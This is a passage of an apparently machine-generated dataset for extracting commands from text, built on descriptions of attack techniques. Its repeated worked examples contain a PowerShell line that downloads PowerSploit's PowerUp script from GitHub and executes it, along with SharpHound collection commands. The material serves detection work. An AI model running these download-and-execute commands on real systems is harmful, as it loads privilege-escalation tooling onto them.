https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Network Share Discovery utilizing the dir command prompt. The computer ip variable may need to be modified to point to a different host ip\nUpon execution available network shares will be displayed in the commandline session\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration. Upon execution, Verify that a zipped folder named Folder_to_zip.zip\nwas placed in the temp directory.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Executes an HTA Application by directly downloading from remote URI.",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Disable Auto Update Windows OS feature. Redline is using this as part of its defense evasion.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Executes the code specified within a XSL script using a remote payload. Open Calculator.exe when test successfully executed, while AV turned off.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Gathers local system information using the Morerecon function of WinPwn",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following Atomic test will utilize Get-AdGroup to enumerate groups within Active Directory.\nUpon successful execution a listing of groups will output with their paths in AD.\nReference: https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-adgroup?view=windowsserver2022-ps\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Executes an MSI containing embedded JScript code using the WMI Win32_Product class\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Run a local VB script to run local user enumeration powershell command.\nThis attempts to emulate what FIN7 does with this technique which is using mshta.exe to execute VBScript to execute malicious code on victim systems.\nUpon execution, a new PowerShell windows will be opened that displays user information.\n",
    "output": "{\"command_list\": []}"
  },
  {
